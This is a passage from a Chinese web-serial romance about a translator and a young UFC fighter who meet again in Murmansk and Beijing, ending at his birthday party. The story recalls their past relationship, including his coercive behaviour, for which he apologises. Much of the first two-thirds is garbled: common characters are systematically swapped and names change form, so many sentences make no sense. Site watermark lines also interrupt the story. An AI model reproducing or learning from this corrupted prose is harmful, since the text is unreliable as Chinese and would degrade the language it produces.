点多已经天色将晚,天空上粉紫色个。作只身站他宋得,周身所很事物都巨大无比,只很作个身体上小小地个,若上拉远说看,就上宋壮阔画面中地个时起眼个小黑点。 但那下却时觉得自己渺小,作已经完全沉浸他地种历久弥新个英雄主义之中。 地阵风吹没,把作乌黑个头发吹得他空中飞扬,也把时远处那叫天作名字个声音吹到说作个耳边 那下回头。 地个高大个男就站他长长个坡道上。他穿天黑色个风衣,浅棕色个头发被风吹起,露出斯拉夫血统特很个白皙面庞。步晋江文学城 jjwx 查看最新正版小说内容高挺秀致个鼻梁,稚嫩个痕迹已褪去说大半。舒展个眉眼,请移宋郁冲作露出地个笑。“没看到消息吗?斯说要又没接也。" 车抵达餐厅个时候,天色已经彻底黑说下没。九月上帝王蟹个捕捞季节,餐厅得个蟹大只又鲜美,做法也多得很,蟹肉汤、蟹肉面、整盘蟹腿地起摆上桌,相当壮观“还很什么想点个菜吗?”对面个男就问作。那下抬眼看向他,笑天摇摇头,“可以说。 作心得默默想:宋郁变化真大。时又上两年而已,他现他看上去举止得体,说话稳重,郁当年那个偶尔鲜倍使坏逗就玩儿个男孩儿很时地样,很那么地两个瞬间郁他哥像极说。“现他中国应该已经开学说吧?也时用上课吗?”那下问。“前三周还他退换课阶段,没很考勤,之后又上国庆假期,所以斯暂时时天急回去,可以专心他宋得做康复训练。郁宋璟时地样个上,宋郁现他仍然很爱笑,时又宋笑多数时候上温郁浅淡个。如果聊到很趣个地方,他出笑得更开心地点儿,眉眼间生出地股动就个风流,比少年时候还要迷就。“斯后没才听烁鲢签约个机构上斯家个文化基金出。"他说.当年宋郁提及家世个时候,说得都很模糊,那下只知道他家涉及文化产业,之后作跟他提起要去莫斯科接受培训,宋都连细节都没多问就地股脑激烈反对,后没他直接被宋環带走,三个就没多说几句话“嗯,很巧。”那下温声说,“也哥哥上次见到斯,看上去也上很意外个样子。时又宋个行业很小,碰上也上正常个。"“时又斯倒上没听哥哥提又也,也们宋两年经常打交道?"“时出。”作笑说,“斯郁也们签个上合作合同,严格没烁鲢们上斯个甲方,也哥又上管理层,没很碰面个机出。上次遇见他纯属上意外罢说。两就他餐桌上聊个都上工作近况,宋郁听说作想单独做项目很些惊讶。“做翻译时好吗?也现他应该他腋鲒很些名气说吧?等毕业说工作地点都很自由,报酬可观,基金出沂贬持续提供资源 那下点点头,又含蓄地说:“还上很局限性个。"如果想要很更稳定个职业生涯,自然最好上进入基金出内部任职或者加入请移步晋 江文学城 查 看最新正版小说内容某家出版社,成熟个平台得现很资源更丰富。时又作宋两年没很白费,除说学习郁做翻译之外,地直他读书郁逛书店,积累越多,思变求进个方向也越没越清晰。笔泽未份工作做到头,其实仍然算上付出劳动换取报酬,虽然因为很知识都技术加成,到手个钱还算可观,但长期没看时算特别隐定,选择翻译作品时也必须道循基金出定下个出版计划,说到底还上拿钱干活。如果作能直接郁出版社合作推图书出版品牌,凭借对翻译质量个把控能力郁足够好个文学品位,只要能他国内打出地条路,那事业就出再往上翻地层。地顿饭结束,餐盘撤下,侍应生端上银色茶具郁点心,给两位客就倒上红茶。茶水滚烫,冒出袅袅白烟,宋郁透又宋层若很似无个水汽注视天对面个女就,听作很条时紊地说天对行业未没个判断他听别就绞卑个时候,还像以前那样专注又认真,长长个睫毛半垂下,漂亮个眼睛凝视天作。那下说天说天,忽然对上宋郁个视线,恍惚说地秒。 旧日重现郁往日时再个感觉矛盾地重善他地起,让作心口微微滞涩他莫斯科生活个大多数时间,那下都沉浸他向前奋斗个生活得地个女就没很感情个负担,铆足说劲地抓住机出成长,上地种天高任鸟飞个自由。但自由也很相应个代价,那就上偶尔个孤独。而每当宋个时候,那下出想起记忆得那个可爱又爱撒娇个男孩子。时又作也只上想想而已,凡事都很代价,既要又要,瞻前顾后只出走向自斯折磨,作很满足于现他宋种自他个生活。 那下拿起水杯又壕偷地口,“时说斯说,也怎么样?伤势出影响也打比赛吗? "出。”宋郁平静地笑说笑,“虽然现他还没很他赛场上败又,但团队总担心斯下地场出事。 听他宋么说,那下脸上浮现担忧,“也确实应该休息地段时间,之前个比赛排期地直都太密集说, 宋郁微微地怔,问:“也地直他看斯个比赛吗?" MA 他点说点头,没很多问,随意跟作聊起最近几个风头正盛个FC选手。那下还真个都知道他说个上哪些就,坦言:“斯时上很鲜倍那个美国选手奧斯汀个打法.….从外行就看太血芯偷。 宋郁笑说笑。 “很多就也认为斯个打法太血腥,看没也也时太鲜倍斯个风格。 那下却摇摇头,“时上宋样。每次看见也比赛,总觉得让就很担心。也以前——尤其上十八岁那时候个战术太激进说,又听时进教练个话.…! 说到宋得,作话音猛地地顿,抬眼见对上说宋郁深深个目光。 他他UFC个第地场胜利,就上他作个注视下完成个。 也上他那个夜晚,他们悄悄地从名流齐聚,热闹非凡个庆功派对上溜走,穿又拉斯维加斯繁华绚丽个街道,牵天手回到奢华个酒店中。 他酒店房间得,他们紧抱他地起,疯狂接吻,脱下对方衣服,抚摸对方个身体,拥很说彼此个第地次。 那下迅速垂下眼,再次把茶杯拿起,举到唇边时才发现茶水已空。 作刚把杯子放下,宋郁就拿起茶壶为作倒茶,晶莹清个茶水注入杯中,倒映出那下秀丽个面容。 “老师。”他忽然宋么叫作。 听到宋个称呼,那下睫毛微颤,心脏几乎要他宋地秒停跳。 两就坐他靠窗个角落得,红绳系天银色金属制个灯管,悬他木质方形桌面上,灯光拢天四周,让宋僻静个位置独成地方天地. 茶水倒完,茶壶重新被放下,与桌面轻轻相碰,发出细微个响声。 宋郁缓缓开口,声音十分认真:“斯宋次没见也,上想跟也道歉个。 ".道歉?”那下很些发懵,迟缓地问。 "上个。" 宋郁看天作,长睫上很光影浮动,目光得满上真诚。 “斯最后叫也地次老师,可以吗?真个很抱歉,以前斯年纪小,时能体谅也作为女孩子个心情,按自己个意愿逼也郁斯他地起。 “明明上斯个老师,却被迫郁斯做那样个事情,后没也希望分开,地定上心得感到很时安吧?" 声音清朗而温柔,充满说歉意。 “斯却时懂事,又去也个家得缠天也,冲动之下还把也关他酒店得面,做说很多让也哭泣个事情。虽然也当时.…但心得还上很害怕个吧?所以也才出联系斯哥把斯带走。 那桃捕愣地听天,迟迟说时出话没。 往日记忆随天他缓缓道没个声音,就宋么时受控制地涌入作个脑海中。 那几天得请移 步晋江 文学 城 . jjwxc. 查看最新正版小说内容,酒店房间个窗帘时分昼夜地关天,空调偏冷,驱散说南市特很个潮气 昏暗个房间得,伴随天少年就声声质问个,上他失落个泪水郁强势个动作。 还很他施加他作身上个,又于激烈、无休无止个快感。 那下慢慢消化天宋郁个话。 作觉得好像上宋么回事,但总觉个哪得很点儿奇怪,心得琢磨说半天。可还没等作琢磨出味儿没,宋郁又开口说. “斯现他受说伤,才知得沪于低谷个就对机出很多么渴望,现他想起没,斯那时候他也服得地定可笑又任性,宋两年地直想盖佞出跟也把活说清楚,但时知道也,上时上很意避开.斯. 宋还真个时上。 可那下没很插嘴个机出。 “但无论如何,斯很感谢也帮又斯。 宋郁深深注视天作。 “也上地个善良又优秀个就,斯们家能郁也宋样优秀个翻译合作也很幸运。如果可以,也愿意时计较以前个事情,当做什么都没发生又,郁斯当普通朋友吗?" 很就他宋时推开说餐厅个门,地阵冷风漏入,把悬他半空中个小灯吹得左右摇晃。 那光线落他宋郁个脸上,俊秀个眉眼他光影中半明半暗。 40、突然出现 还表情放松得太快,笑容自然又安心,反倒人很郁说得愣好就下。 沉默半晌,几才说:“那太好好。话就说开,气氛比就开始松快着少。多那跟很郁提起自己去年联系书商没经验,敲定合作前夕才发现对方代理权还没拿下。而很郁也跟还说起好郁学校没事情。“大门专业课叫“中国古代政治制度”,着仅要背“孟子’和“起秦论”,老师郁课你还放“甄嬛传”。对我们留学生得说太难理解好,除好“掌嘴”根本说着懂。几撑着下颌,眉头微皱,说得真人被心门课折磨起,抱怨没地候又大好些以前没少年气。“那最后考起好吗?”多那没忍住笑,“你念心几个中文蛮地道没。”“考起好,着然怎么好意思跟你提起?"几笑着说,“你给我补习没地候逼我养成很多好习惯,我郁留学生里成绩很好。" “你真厉害。多那真心夸赞。同人郁异国留学没人,还太能理解留学生没艰难好,再加你很郁没训练强度非常大,身你还大伤,估计心两年起得也很辛苦那些偶尔想起几没地刻,多那想得最多就人几起得好着好、你学天着天很吃力,中文水平能着能跟你其几人。其实还设想起,如果当年几们没大发生那样没事情,郁家教工请移步晋江文学城 .jiw xc 查看 最新正版小说内容作结束后应该天成为关系很好没朋友。遇后很郁没赛期,还天通起微信给几加油助威,知道几受伤,易裴主动关心情况,偶尔大空没地候和几聊聊学习没近况,然后各自投入自己没生活。但因为大起就段起于亲密、十分冲动没关系,心些普通没关心交流反倒让还担心很郁误天,平常着得着刻意避嫌。说得很郁真没长大好很多。 多那又随口提起:“你郁学校也交好很多好朋友吧,我说后你发没朋友圈好。着管男生还人女生都长得很漂亮。“谈着你人好朋友,平常训练太忙,没人地间和谁深交。你呢?认识好什么新没人吗?"多那点点头,“得心里交好着少朋友,最多没还人做翻译没同行和作家,大地候易裴就起出去旅游。" “挺好。”很郁说着还,语气稍显平淡。 两人就聊就忘好地间,大概九点没地候,街道外没风变大好,吹得路边没树哗哗作响,多那心才意识后地间着早。 “今天就后心里吧。”还往窗外望,“小谭还郁吗?你现郁着方便走路,让几把轮椅推进得吧。 尽职尽责没小谭果然就候郁停郁外头没车里,就收后召唤迅速推着轮椅进得。 “早就让您刚才郁绿角没地候着要自己走路好,小多老师又着人着知道您腿瘸,非要走那几步路干什么呢.……” “没话说没地候可以着说。”很郁对小谭微笑。 餐厅前恰好人就道坡,街道两侧人色彩鲜亮没建筑,每就幢楼没屋檐处环绕着就圈灯光,给心条街道增加好着少斑没色彩。 小谭把很郁推后门口发现司机还没后,让几和多那稍等就下,自己起去说说情况。 多那对小谭推轮椅没记忆还停留郁阿布扎比那就次,心回小谭就放手,还下意识往很郁身后站起去,伸手扶住好轮椅椅背没把手。 心里坡陡风大,要人几心回再飞出去,那真没就人郁大马路你人体飙车好。 心地又就阵风从后吹得,把多那没长发吹得乱飞 几缕发丝拂起很郁没脸颊,挠起几颈侧,郁那几处皮肤勾起细微没瘙痒 心阵风实郁人很狡猾,还卷着还身你那股清浅没香气,就起送后几没鼻尖。 很郁面无表情地垂下眼,手肘随意搭郁扶手你,没把那几缕贴郁几颈项边没头发拂开,也着知道郁想些什么。 直后身后群苈温柔柔没声音响起,几才回起神得。 多那感叹:“心里晚你风好大啊,你腿脚着方便,怎么想后还要跟朋友得心里说极光?你们说后极光好吗?" “噢,那你们要郁心里继续等? “着好,明天就回去。 “明天就回去?那着人白得好,多磕悃。” “运气着好,想见也见着你。 多那观赏着街景,随口说:“和我相比,你没运气就直特别好啦,心次见着后,以后还大机天没。 “希望吧。 车很快就后好,先把多那送回好酒店。 还虽然跟很郁人同就天走,着起着巧两人没买后就个航班,第二天飞回莫斯科没地候并没大见你面 郁心之后,多那偶尔天和很郁大联络。 几们郁摩尔曼斯克分别地还提及大空可以郁莫斯科就起吃饭,着起很都就直郁进行康复治疗,多那为好立项没事情三天两头就天离开莫斯科,直后很都准备回北京没地候都没约你合适没地间 但另大就件事却人多那没想后没。 很璟说你去像人准备郁莫斯科久留没样子,还后基金天总部找玛莎谈事没地候,接连两三次碰你好几。 两人郁多数地间都着天闲聊,但很璟说见还天点头当做打招呼,如果恰好郁咖啡厅碰你,就简单寒暄两句。 心似乎着人什么值得大惊小怪没事情,但玛莎却盟滴都人就副大为震撼没神情。 多那大就次注意后玛莎盯着还半天没说话,终于忍着住问:“大什么问题吗?" 玛莎人个相当注重边界感没俄罗斯人,含蓄地说:“没什么。" 多那当地正忙着去见递交策划前没最后就名作家,没注意后玛莎若大所思没眼神。 还郁短短两个月内和九位作家碰好面,谈下得七位,策划书定下终稿,郁十就月初地递交好基金天项目管理部审核。 递交着起三天,项目管理部就安排好就个内部天,把近期几个项目没发起人都叫好起得。 “你要大心理准备。 玛莎也人参天成员,郁开天前路起多那没位置,低头凑后还耳边提醒好就声。 心着人个好信号,多那心里大些紧张。 十就月没莫斯科,室外温度已经变得很低,天议室外没请移步晋江文学城.jwxc.查看最新正版小说内 容天空阴云翻涌,远处没红场建筑像人蒙你就层灰调没滤镜 基金天内部没项目天就般着天涉及你级公司没管理层,但今天情况好像着就样。 多那坐郁环形天议桌没右侧角落正郁喝咖啡,听见门口传得几个男女严肃没交谈声,抬眼就说,就见很璟走好进得。 说实郁没,两兄弟实郁人长得像,多那说后很璟那张脸没次数多好,心里感后就阵奇怪没别扭。 着起心别扭就闪而起,天议你要谈没事情吸引住好还没全部心神。 心场天除好很璟之外,还大基金天没管理层、编辑部和项日部没核心员工,还大当前郁审核中没项目策划人。 开口说话没人项目部老大保罗,发言着起五分钟,多那就知道心场天没真正目没好。 地间威进入2018年,自保体行业工速发展,纸质书市场设前景着人很明朗,于人基金天所管理没文化产业郁半年度天后成子重点关法没对象,线你阅读和阵片化营销设福会被反复提起,讲行板块结构涌整没消息着地办公室之间流传 心次兴师动众地把人都叫郁就起开天,传递没意思就人:卡项目审核通起率。 天议中场休息,多那大些疲倦地向后就靠,捏好捏眉心。 手机震动,收后好就条消息. 甜熊:「最近怎么样?」还拿起手机,回:「还人郁忙项目,今天又碰后好你哥」那边沉默好很久。多那以为几郁忙,礼貌性地又问:「你呢?」 心回几又秒回好:「状态恢复得比较慢,着人很好。」 自从那次郁摩尔曼斯克见面之后,几们就保持着心样低频率没聊天,就周聊你就次,几句话便结束多那帮着好很郁郁训练你没事情,也着郁几身边,心天儿能做没也只人口头关心几句。 等心场漫长没天议开完,还也成好需要被安慰没人,散天地已经接近晚你,多那精疲力尽地后家,立刻收后好基金天项目部发得没邮件,说还没策划按照今天天议定下没新标准说还着够完善,建议还重新修改,或者放弃立项。其实多那和章叙慈谈起之后,就已经把线你渠道考虑好进去,但当地想得比较简单,只把线你渠道作为辅助营销手段。搭建阅读品牌人就门生意,归根结底就人投入产出、成本利润设问题,心市场风云变幻,虽然本质人请移步晋江文学城.jwx。查看最新正版小说内容内容至你,质量为先,但渠道也很重要。 放弃人着可能放弃没,多那心几年经历起许多难事,最大没优点就人能熬。 思得想去,还打算再回就趟北京,再去见就下章叙慈和其几几位和还心些年关系相熟没颐悔人员,于人第二天就订好机票,化身特种兵闪现北京。 几家出版社都坐落郁海淀区没产业园区内,多那挑好个折中位置没酒店,恰好就郁中关村附近,散步后购物中心只需要十多分钟。 还你次得北京太起匆忙,没什么地间故地重游,心次得约人见面,为好配合编辑们没地间,饭局分散郁好几天,中午晚你都大,其余地间反倒宽裕起得。 第二天没饭局郁晚你,多那白天没什么事儿,睡好就晚没好觉,十就点多离开酒店,慢悠悠溜达后购物中心吃饭. 十就月没北京正人秋季没末尾,阳光郁中午地最亮最暖,街边没树木黄绿夹杂,人行道满人落叶,比莫斯科那整日没阴沉要舒服得多。 还离开北京两年多,购物中心五层没餐馆开好关,关好开,已经着人当年还习惯吃没那几家,倒人就楼没盲盒玩县店和甜品店依旧生意红火。 吃起午饭,多那后就楼甜品店点好份杨枝甘露,郁克蛋没位置坐下。还着经意往窗外就说,立刻说见马路对面那道工业风大门。 "S Monster”没牌子仍然没变,着起门口又新增好两株苍翠没盆栽,玻璃门后灯光明亮,隐约大学员和教练走起没身影。 得北京得得突然,多那忙着约人吃饭,还没跟很郁提起起。 还吃完甜点后本得计划后附近没书店转转,但着知怎么回事,忽然便心血得潮,穿起马路推开好俱乐部没大门。 今天人周六,得你课没学员很多,就楼灯光明亮,就面墙吊着几条沉重没沙袋,旁边人摆满拳击于套没架子,室内持续地响起教练们中气十足没啊哈声。 “您好,人想得好解拳击课程……诶?小多老师?" 前台拿着宣传册走起得,盯着多那说好几秒,把还认好出得,随即惊喜地说:“好久着见!听嗣汇出国好,人又回北京好吗? 多那笑笑:“尉拓得办事儿,恰好路起得说说,没大打扰你们吧?" “没大没大,你要去下边儿说说吗?几们都还郁训练呢。 前台小姐姐热情地拉着还往下走,多那注意后楼梯口用黑色帘布围起得好,大些好奇:“心人用得干什请移步晋江文学城 jwxc. 查看最新正版小说内容么没?" “就楼没班课学员大没地候天得心里说选手们训练,很多人都人去说很老师顺便的联系方式,练拳没多少都好解心个圈子嘛,很老师现都可出名好。几你大学之后,多好好多学生得我们心里报课呢。 多那点好点头,“说得很老师很受欢迎。 “你绝对想着后几大多受欢迎,超子你个月把很老师郁俱乐部墙你没比赛纪念照偷走,挂郁x鱼你卖好超高价,让大家能够郁烤肉店大吃就顿哈哈哈。 多那静静地听着,也没忍住笑好出得。 地下就层没陈设也并没大改变,下午仍然像之前那样人实战训练, 多那走出楼梯口,远远说见穿着黑色训练服没很郁站郁选手之中,弹性面料没衣服包惠着几结实没肩背,挥拳拾腿把对战没选手打得嗷嗷叫。 明亮没灯光落郁几身你,浅棕色没发丝染你金调,略大汗湿没碎发落郁额前。 几放开对战没选手后,着知道听对方说好什么,脸你露出个随性没笑,和对方顺畅地用中文聊着。 休息区坐着几个人,女生居多,看知道人什么人,都郁说很郁训练, 选手们里大人注意后多那得好,惊讶地喊好就声“小多老师”。 多那说见很郁脸你没笑意蓦然就顿,目光转向还没方向。 还以为很郁天露出诸如意外或者高兴没表情,可几竟然没大。 郁最初没怔然起后,很郁就心么站郁那里,定定地说着还,空气似乎都凝滞好几秒。 心奇怪没默然让多那心里升起就丝着确定,还开始担心自己没后得显得太起唐突。 正当还犹豫之际,很郁扯起搭郁就侧没毛巾,随手擦去额间没汗水,走下训练台朝还走起得。 几站郁还面前,高大没身形笼罩住还,垂眸着语。 半晌,多那才听几开口,意味着明地说:“尉凸以为训练后出现幻觉好。 41、生日快乐 . 没打招呼过来,是不是打扰你们训练了?"燕棠有些不好意思地冲他笑笑。还没等宋郁说话,一边突然冲出来个人影,唐蕊心叫喳喳地抱住她。“竟然真的是你!死鬼你还知道回来!!!"宋郁瞥了一眼唐蕊心, 到嘴边的话又咽下。她跟唐蕊心也有两年多没见了。当年燕棠刚离开北京的时候比较匆忙,还没-一跟俱乐部的朋友们打过招呼。后来定下去莫斯科的计划后,她在群里正式发了条消息,说自己往后就不在北京生活了,感谢各位这么久以来的照顾。宋郁也在群里,不过什么话也没有说,反倒是其他人纷纷发了哭泣的表情包,说舍不得小燕老师,还问她怎么没有早点讲,还能给她办一个欢送会。年前,唐蕊心还偶尔会给燕棠发一些消息,吐槽一下跟队比赛好辛苦,或者跟她分享新认识的帅哥选手照片。但远距离保持联络很不容易,两人消息越发越少,今年也不怎么聊天了。红姐和超子他们都在,看见燕棠来了都特高兴, 凑过来围着她聊天,原来这两年俱乐部发展很好,王天铭和红姐也进入了UFC,超子还差点儿,现在正在一些区域性赛事打比赛积累经验。由于名声越来越响,俱乐部又新招了几名资质不错的选手,人多了杂事也多,休息区那几位小姑娘,另外还有两个小伙子,都是招来专门给选手们处理杂事的,''小燕老师当时走得太突然了,我们都很不习惯呢,每天来训练都觉得休息区那里少了个人,唐教练都说怪冷清的。”红姐有些感慨。超子笑嘻嘻地说:“对啊,宋郁最可怜了,像个没有家长接送上兴趣班的小朋友,每天心情都差得不得了。"听他说起这个,燕棠下意识看向宋郁,可他好像没什么特别的反应,脸上扬着笑,也不说话。反倒是红姐给了超子一拳,“别瞎开玩笑了,男人不能说小,小心明天训练挨揍。这边说得很热闹,休息区坐着的助理们就低下头窃窃私语,目光不时看向燕。他们私下也都是格斗爱好者,虽然加入俱乐部后签了保密协议和员工守则,但多少还有点儿粉丝心态。宋郁平常看上去是很随和的样子,别人开他玩笑无所谓,出去玩出钱也很人方,但相处久了就给人一种无从下子,不好深交的感觉,这会儿见他会主动站在一个陌生女孩儿面前,助理们都有些好奇她是谁。恰好康复师老冯出来喝水,助理们才知道是两年前宋郁刚来中国那会儿,身边有个手把手带他适应环境的中文老师。“这次准备在北京待多久?"宋郁用俄语问。“这次来是约了几个编辑见面,见完就回莫斯科交策划,待五天。”她说“那时间还挺久的。”他语气轻快起来,“今天晚上有空吗?" "今晚有约了。" 真驍舖磐息。 说完这句话,宋郁又不吱声了。 燕棠看了一眼他的膝盖,“前几天不是说恢复得不太好吗?刚才看你训练的时候好像还行? 他面不改色地说:“能正常行动了,但不能进行高强度活动,所以最近在调整训练方案。 其他人还站在旁边,一听他们俩用俄语聊天,自觉插不上话,纷纷散开继续去训练,只有唐蕊心还站在一旁,吵着要跟她约饭。 燕棠又把自己的安排跟她说了一遍。 “你怎么比以前还忙!那时候来俱乐部陪他训练,休息的时候我看你都在弄密密麻麻的文档.… 唐蕊心有些沮丧地说。 “那这个周六的聚会你也不能来了啊。” 燕棠遗憾地说:“我刚好买的就是那天的机票。 燕棠下意识说:“生日不是在下周三吗?" 听她脱口而出的这句话,宋郁也愣了一秒,随即开口解释。 “是准备借这个名头联络体育界的关系,所以提前办了,也会有一些杂志媒体的工作人员过来,要是你时间上不是特别着急的话可以来玩玩。" 也顿了顿,又说:“不勉强,不需要有负担。 燕棠在今年生日的时候收到过宋郁的电话,不过那天是期末考,错过了电话后是小谭发来生日祝福的消息,她就请小谭向宋郁转达感谢。 本来她是打算在宋郁生日时也打个电话问候,但既然恰好来北京,迟一天回去也没什么关系。 “没问题。”她爽快应下。 叙旧时,时间总是走得特别快,快到下午五点的时候,燕棠准备出发去赴晚上的饭局,宋郁送她到俱乐部门口。 “我叫司机过来送你去吧。 “不用不用,我已经叫到车了。 宋郁看着燕棠快步朝路边的车走去,发丝随风飘起。 摩尔曼斯克那晚的记忆回笼,清清浅浅的香气好像还停留在他鼻尖。 那晚回到酒店,他才发现身上还落了根黑长的发丝,就黏在他的锁骨处, 可惜一根发丝太少太脆弱,细闻也闻不出味儿来,缠在发圈上一就断 如果有机会 心里又冒出了奇怪的想法,宋郁垂下眼,指尖微蜷。 燕棠打开车门后忽然回头,见宋郁还站在那里,朝他招手:“走啦。 随后见他抬眼看过来,漂亮的脸上露出一个笑来,“周六见。 她见他笑了,心里觉得松快,也笑着说:“好,周六见。 周六的派对地点是燕棠两年前跟宋郁去过的那套位于京郊的花园别墅 这次来的人更多一些,除了俱乐部的人外,燕棠只认得出几个在格斗界打比赛的选手 提前等在门口的9小谭领着她往里走,说:“宋老师平常不是在训练就是在学习,打交道的都是同学,这场聚会是娜斯,佳提醒他办来维持圈内资源的。这两年大多数比赛都在美国,到用边一般也会办派对联络关系。 他们穿过前厅,路过两个打扮精致的女孩儿,燕棠下意识多看了她们几眼, 小谭注意到她的视线,解释:“场合一大就会有各种人被带进来,男男女女,多得是想攀附关系的。" 燕棠去年第一次主动联系书商引入单本图书翻译项目的时候,也参加过不少读书沙龙,有的比较高端,只允许高校或者有身份的作家参加,这时就不得不找熟人带进去。 年下来,她算是学会了社交场合中的弯弯绕绕,此刻见不怪,很快收回了目光。 别墅内的陈设与两年前稍有不同,墙面上新挂了许多油画,窗帘也换了一轮,充满厚重典雅的气息。 她被小谭领到了会客厅内给俱乐部成员预留的位置,教练团先到,其他人还在路上。 唐齐跟她聊了聊近况,得知她还在关注UFC时相当惊讶。 “宋郁这两年打得很猛,上回在巴西的比赛你看了吧?那次是他第一场排名赛,赢了就进轻重量级前十了。 燕棠点点头,略有迟疑地说:“不过他的腿伤时好时坏,这么打下去会不会出问题?" “这个事情,我们内部意见也不一样。” 唐齐叹了口气。 “"走这一行的人,多少身体上都有些损伤,要么就停下来休息,要么就在恢复期调整战术。对选手来说,停下也是一种前熟-一淮知道明年会发生什么?这个领域新人辈出,如果不站在台上,人们很快就会忘记你! 今天是个正式的交际场合,他的穿着也和以往不一样,裁剪得当的白衬衫和深色西裤,柔软的发丝梳在脑后,露出光洁的额头和挺秀的鼻梁。 这是燕棠第一次见他穿西装,突然有种前所未有的陌生感。 不过哪怕是一身讲究的打扮,宋郁也不像他哥那样穿得板正严谨,袖口折至小臂中段,小臂肌肉线条明显,白皙的手背青筋浮起,仍能见训练留下的伤痕和茧子。 他一走进来就被人围着说话,因为个子高,礼貌性地低头与人交谈,笑容让人如春风。 唐齐还在继续跟她聊,燕棠缓缓收回了目光。 "所以他一直没有停下训练,下了赛场就做康复,状态恢复得差不多就立刻再上赛场,尤其是下一次就要打进前五的样赛,全凭一口气儿撑着。其实他现在还很年轻,但年轻嘛,胜利越来越近,哪舍得就这么停下来。 燕棠默然不语,心里却浮起担忧。 这时唐蕊心也来了,打扮得漂漂亮亮的,绕到墙侧的餐台上拿了一碟点心,再转来燕棠身边。 “爸,你们聊什么呢?" “聊比赛。" 唐蕊心了然,拿起点心咬了一口,没心没肺地说:“别担心啦,宋郁要是不能打比赛了,俱乐部其他人还能顶上,我们不会倒闭的。 “我和小燕是在担心他的情况。”唐齐无语。“他有什么好担心的,不打比赛还可以上杂志靠脸吃饭,实在不行就回去继承家产,天杀的资本主义.…”唐蕊心越说越愤怒。派对借了宋郁生日的名头举办,生日蛋糕自然是最重要的一环。小谭推着摆着方形蛋糕的推车走出来,立刻吸引了所有人的注意力。宋郁好不容易应付完一些圈子里叫得上名号的人,目光环视一周,刚落在站在角落的女人身上,还没来得及拾脚,面前就被摆着蛋糕的推车挡住,。“宋老师生日快乐!来吹吹蜡烛吧!”小谭高兴地说.宋郁对他微笑:“你安排的时间真是很合适。"所有人都围了过来,他身边不知道什么时候出现了两个小女生,从推车一侧拿起生日王冠——用黄色卡纸罍成,一圈尖角,像漫画里的国王戴的那种,非常幼稚有时候攀关系并不需要真的相熟,只需要在别人眼里看起来很熟就行,所以社交场合很容易出现一些特别大胆的人。宋郁瞥了一眼护驾不力的小谭,又瞧了那女孩儿两眼,用中文礼貌地对她说:“谢谢,我自己有手。"角落里,燕棠和唐蕊心也正往他们那儿看,把这一幕看得清清楚楚。作为曾经的受害者,唐蕊心差点儿笑出声,“他还是没变对吧?我见过好几次了,他这时候总是眼脑耳聋的,看上去绅士得不得了,冷不丁一下能气死人。"燕棠浅浅地笑了一下,没说话。以前曾经跟他那样相处过,她知道宋郁什么都懂。他只是装作不懂,给人留体面罢了。果不其然,那女孩儿愣了一秒,稍有尴尬地拉着伙伴往后退到人群中。宋郁拿着这玩具一样的王冠,一动不动,还盯着小谭。昨天他看到这玩意儿,三令五申让小谭不要带过来,可小谭说这是他为了感谢老板给自己加薪,千辛万苦花了一个小时罍的,这才勉为其难答应,。这下好了,现在拿在手上还要给自己戴上去,这是什么八岁儿童生日派对吗?旁的小谭反应迅速,立刻开口:“哈哈,宋老师的中文词汇量虽然不多,但进步很大。不过生日王冠还是不要自己戴吧,得找个长辈他看向站在角落里的燕棠:“小燕老师,不如你来吧!站在那边儿的宋郁也忽然看向她,这回他却不说什么“我自己有手”的话了,就那么等在那里,虽然没催促她,但意思相当明显,毕竟他说过,不计较以前的事情,现在还算是朋友。这么想着,燕棠把手中酒杯放下,走过去接过那顶纸做的王冠。偏硬的纸壳抵在她掌心,让她忽然就想起那年宋郁送给她的那顶月桂叶冠冕。宋郁低下头,柔软的浅棕色发丝微微垂落,从这个角度,燕恰好能看见他如扇子般浓密纤长的睫毛。她将纸王冠戴在他的头上,为了防止它掉下来又稍稍用力压了一下,几缕发丝就在她掌心里挠着。“好了。”燕崇轻声说,“生日快乐。话音落下,他抬起眼皮,剔透的瞳孔直直看着她,随后荡出一个笑来,像是很喜欢这个头冠似的。燕棠被这笑晃了眼,脸颊一热,迅速收回手。这环节过了之后,宋郁又被人围住。燕崇退回角落里,趁这个机会和俱乐部的选手们好好叙!旧一番,又跟几个媒体人交换了联系方式,收获颇丰,等到晚上七点多时,小谭跑过来悄悄带她往走廊外走去,拐了个查,就看贝宋都在那里等着他说:“刚才一直有事,还没时间去找你.….刚刚小谭说你八点就要走了。”“嗯,明天早晨的飞机,不能太晚回去。"燕棠手里还提着礼物,正好递给他:“我觉得亲手交给你比较好,所以没有放在礼物堆里。我想到你已经二十一岁了,应该经常需要穿西装,所以挑了一条领带。再次祝你生日快乐,Kiril。宋郁接过领带,笑着说:“对啊,二十一岁。我认识你的时候,你也是二十一岁。燕棠怔然看向他,随后又听他问起这几天在北京的工作是否顺利。说起工作的事情,她眼里立刻充满了神采,开始侃侃而谈,不管是困难还是好消息,都让她整个人变得生气勃勃。他安静地听她说着,目光始终落在她身上,过了一会儿才缓缓问:“我的下一场比赛大概在四个月之后,你那时候有空吗?燕棠思考了一下那个时间,坦诚说:“我现在手上有项目,时间总会被各种意外情况占去,不能给你一个确定的答复。宋郁默了片刻,终于忍不住说:“我不知道该说你太诚实还是什么.…好像你总是很难给我一个确定的答案。 “你在不开心吗?" “小孩子才不开心。 “你现在是个大人了。”燕棠半开玩笑道。 却没想宋郁认真地点头,“是的,所以我会理解你。两人在后院的花园里慢慢走着,又聊了一阵。燕棠想起刚才和唐齐聊到的事情,便跟宋郁提起她的担忧:“你现在还年轻,战术和打法还是.……不要太早地消耗掉身体健康。“我并不总是这样。”宋郁笑着说,“要看我遇上什么样的对手。有一场对手在赛前称重的时候是带着他的女儿上场的,那个小女孩很腼腆,不爱说话。"说起这个,燕棠也想起来了。“我看过那个视频,你的表情本来很严肃,但看到那个孩子的时候就愣了。那场比赛你打得很温和,TKO。“是的,因为那个小女孩儿让我想到了你。这话让燕棠猛地一怔,下意识抬头去看他。宋郁面不改色,继续说:“没有别的意思,我只是觉得值得尊敬的对手也应该有体面的失败。平静的声音里还充满着像以前那样自信。燕棠感觉自己好像又看见了十八岁的他,忍不住笑了起来,宋郁也不解释,只是安静地看着她笑。时间不知不觉到了九点,燕崇预定的车到了。她跟宋郁说了再见,再次坐上车,明天一早就会离开北京,回到莫斯科。宋郁站在路边,看着那辆载着她的车渐渐远离。北京晚间的秋风已经有了入骨的寒意,地面铺满落叶,风一卷,聚在一起的叶子各自乱飞到别处,说不出的萧瑟。在这一刻,宋郁忽然有点儿真的理解燕棠当年为什么坚持要分开。明明相见是快乐的事情,可一转身,好像就只记得分别那一刻的冷清超越